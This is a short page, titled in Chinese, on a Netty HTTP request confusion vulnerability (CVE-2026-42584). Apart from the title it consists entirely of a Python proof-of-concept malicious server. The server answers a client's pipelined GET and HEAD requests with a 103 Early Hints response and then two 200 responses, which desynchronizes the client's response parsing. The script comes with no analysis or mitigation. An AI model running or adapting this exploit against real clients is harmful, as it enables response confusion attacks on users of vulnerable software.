CVE-2026-42584 Netty HTTP请求混淆漏洞

import socket import time # Malicious server to trigger CVE-2026-42584 # Exploit condition: Client pipelines GET then HEAD, Server sends 103 -> 200 -> 200 def start_exploit_server(): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', 8080)) server_socket.listen(1) print("[+] Malicious server listening on port 8080...") client_socket, addr = server_socket.accept() print(f"[+] Connection from {addr}") # Receive the pipelined requests (GET followed by HEAD) request_data = client_socket.recv(4096).decode('utf-8') print("[+] Received pipelined requests:") print(request_data) # Step 1: Send 103 Early Hints (1xx response) # This causes the vulnerable client to poll the queue for the first time (associating GET) print("[+] Sending 103 Early Hints...") response_103 = "HTTP/1.1 103 Early Hints\r\nLink: </style.css>; rel=preload; as=style\r\n\r\n" client_socket.send(response_103.encode('utf-8')) time.sleep(0.5) # Step 2: Send 200 OK with a body # The client polls the queue again (getting HEAD) and pairs it with this body. # The HEAD handler will skip the body, leaving bytes on the stream. print("[+] Sending 200 OK with body (intended for GET but paired with HEAD)...") response_body = "HTTP/1.1 200 OK\r\nContent-Length: 13\r\n\r\nHello, World!" client_socket.send(response_body.encode('utf-8')) time.sleep(0.5) # Step 3: Send 200 OK for the HEAD request # The client is now desynchronized and will parse this incorrectly. print("[+] Sending final 200 OK...") response_final = "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n" client_socket.send(response_final.encode('utf-8')) client_socket.close() server_socket.close() print("[+] Exploit finished.") if __name__ == "__main__": start_exploit_server()